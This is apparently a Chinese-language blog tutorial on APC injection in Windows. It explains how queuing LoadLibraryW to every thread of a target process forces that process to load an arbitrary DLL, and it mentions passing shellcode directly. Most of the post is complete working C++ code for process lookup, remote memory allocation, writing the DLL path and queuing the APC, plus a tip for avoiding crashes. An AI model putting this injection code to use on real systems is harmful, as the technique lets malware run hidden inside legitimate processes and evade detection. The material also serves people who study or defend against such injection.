zoukankan      html  css  js  c++  java
  • APC注入

    原理

    APC中文名称为异步过程调用, APC是一个链状的数据结构,可以让一个线程在其本应该的执行步骤前执行其他代码,每个线程都维护这一个APC链。当线程从等待状态苏醒后,会自动检测自己得APC队列中是否存在APC过程。
    所以只需要将目标进程的线程的APC队列里面添加APC过程,当然为了提高命中率可以向进程的所有线程中添加APC过程。然后促使线程从休眠中恢复就可以实现APC注入。
    注入流程和之前的远程注入差不多

    QueueUserAPC函数的第一个参数表示执行的函数地址,当开始执行该APC的时候,程序就会跳转到该函数地址执行。第二个参数表示插入APC的线程句柄,要求线程句柄必须包含THREAD_SET_CONTEXT访问权限。第三个参数表示传递给执行函数的参数。与远线程注入类似,如果QueueUserAPC函数的第一个参数,即函数地址设置的是LoadLibraryA函数地址,第三个参数,即传递参数设置的是DLL的路径。那么,当执行APC的时候,便会调用LoadLibraryA函数加载指定路径的DLL,完成DLL注入操作。如果直接传入shellcode不设置第三个函数,可以直接执行shellcode

    实现

    首先还是先获取Pid

    DWORD Pid(WCHAR* szName)
    {
        HANDLE hprocessSnap = NULL;
        PROCESSENTRY32  pe32 = { 0 };
        hprocessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
        /*if (hprocessSnap == (HANDLE)-1) { return 0; }*/
        pe32.dwSize = sizeof(PROCESSENTRY32);
        if (Process32First(hprocessSnap, &pe32))
        {
            do {
                if (!wcscmp(szName, pe32.szExeFile))
                    return (int)pe32.th32ProcessID;
            } while (Process32Next(hprocessSnap, &pe32));
        }
        else
            CloseHandle(hprocessSnap);
        return 0;
    }
    

    再通过获取的Pid来获取对应的线程id,循环插入APC,为了提高命中率可以对所有线程进行插入

    DWORD dwThreadID;
        THREADENTRY32 te32 = { 0 };
        te32.dwSize = sizeof(THREADENTRY32);
        HANDLE hTheader = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
        BOOL S = Thread32First(hTheader, &te32);
        while (S)
        {
            if (te32.th32OwnerProcessID == dwId)
            {
                HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, te32.th32ThreadID);
                DWORD dwRet = NULL;
                dwRet = QueueUserAPC((PAPCFUNC)dwLoadAddr, hThread, (ULONG_PTR)pRemoteAddress);
                if (NULL == dwRet)
                {
                    printf("QueueUserAPC:%d
    ", GetLastError());
                    return NULL;
                }
                CloseHandle(hThread);
            }
            S = Thread32Next(hTheader, &te32);
        }
    

    完整代码

    DWORD Pid(WCHAR* szName)
    {
        HANDLE hprocessSnap = NULL;
        PROCESSENTRY32  pe32 = { 0 };
        hprocessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
        /*if (hprocessSnap == (HANDLE)-1) { return 0; }*/
        pe32.dwSize = sizeof(PROCESSENTRY32);
        if (Process32First(hprocessSnap, &pe32))
        {
            do {
                if (!wcscmp(szName, pe32.szExeFile))
                    return (int)pe32.th32ProcessID;
            } while (Process32Next(hprocessSnap, &pe32));
        }
        else
            CloseHandle(hprocessSnap);
        return 0;
    }
    
    bool Inject( DWORD dwId,WCHAR* szPath)//参数1:目标线程id  参数2:目标进程id  参数3:目标dll路径
    {
        DWORD* pThreadId = NULL;
        //一、在目标进程中申请一个空间
        /*
        【1.1 获取目标进程句柄】
        参数1:想要拥有的进程权限(本例为所有能获得的权限)
        参数2:表示所得到的进程句柄是否可以被继承
        参数3:被打开进程的PID
        返回值:指定进程的句柄
        */
        HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwId);
        /*
        【1.2 在目标进程的内存里开辟空间】
        参数1:目标进程句柄
        参数2:保留页面的内存地址,一般用NULL自动分配
        参数3:欲分配的内存大小,字节单位
        参数4:MEM_COMMIT:为特定的页面区域分配内存中或磁盘的页面文件中的物理存储
        参数5:PAGE_READWRITE 区域可被应用程序读写
        返回值:执行成功就返回分配内存的首地址,不成功就是NULL
        */
        LPVOID pRemoteAddress = VirtualAllocEx(
            hProcess,
            NULL,
            1,
            MEM_COMMIT,
            PAGE_READWRITE
        );
    
        //二、 把dll的路径写入到目标进程的内存空间中
    
        DWORD dwWriteSize = 0;
        /*
        【写一段数据到刚才给指定进程所开辟的内存空间里】
        参数1:OpenProcess返回的进程句柄
        参数2:准备写入的内存首地址
        参数3:指向要写的数据的指针(准备写入的东西)
        参数4:要写入的字节数(东西的长度+0/)
        参数5: 返回值。返回实际写入的字节
        */
        WriteProcessMemory(hProcess, pRemoteAddress, szPath, wcslen(szPath) * 2 + 2, 0);
    
        HMODULE hMoudle = GetModuleHandle(L"kernel32.dll");
    
        LPTHREAD_START_ROUTINE dwLoadAddr = (LPTHREAD_START_ROUTINE)GetProcAddress(hMoudle, "LoadLibraryW");
        if (!dwLoadAddr)
        {
            printf("GetProcAddress Error !
    ");
            GetLastError();
            CloseHandle(hProcess);
            CloseHandle(hMoudle);
            return FALSE;
        }
    
        DWORD dwThreadID;
        THREADENTRY32 te32 = { 0 };
        te32.dwSize = sizeof(THREADENTRY32);
        HANDLE hTheader = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
        BOOL S = Thread32First(hTheader, &te32);
        while (S)
        {
            if (te32.th32OwnerProcessID == dwId)
            {
                HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, te32.th32ThreadID);
                DWORD dwRet = NULL;
                dwRet = QueueUserAPC((PAPCFUNC)dwLoadAddr, hThread, (ULONG_PTR)pRemoteAddress);
                if (NULL == dwRet)
                {
                    printf("QueueUserAPC:%d
    ", GetLastError());
                    return NULL;
                }
                CloseHandle(hThread);
            }
            S = Thread32Next(hTheader, &te32);
        }
        return 0;
    }
    

    测试

    这里还是使用Subilme来进行插入演示

    成功插入弹窗
    APC注入的原理是利用当线程被唤醒时APC中的注册函数会被执行的机制,并以此去执行DLL加载代码,进而完成DLL注入。其中,为了增加APC被执行的可能性,所以向目标进程中所有的线程都插入的APC。
    如果出现向指定进程的所有线程插入APC导致进程崩溃的问题,可以采取倒序遍历线程ID的方式进行倒序插入来解决程序崩溃问题。

  • 相关阅读:
    存储函数
    Laravel的请求声明周期
    哪只猴子可以当大王
    有多少苹果用来分赃
    SqlDataAdapter使用小结
    主键与外键
    SQL server 操作相关
    C# 窗体相关知识
    C#中winform DataGridView常用修改点
    maven 坐标获取方式
  • 原文地址:https://www.cnblogs.com/Xy--1/p/14512860.html
Copyright © 2011-2022 走看看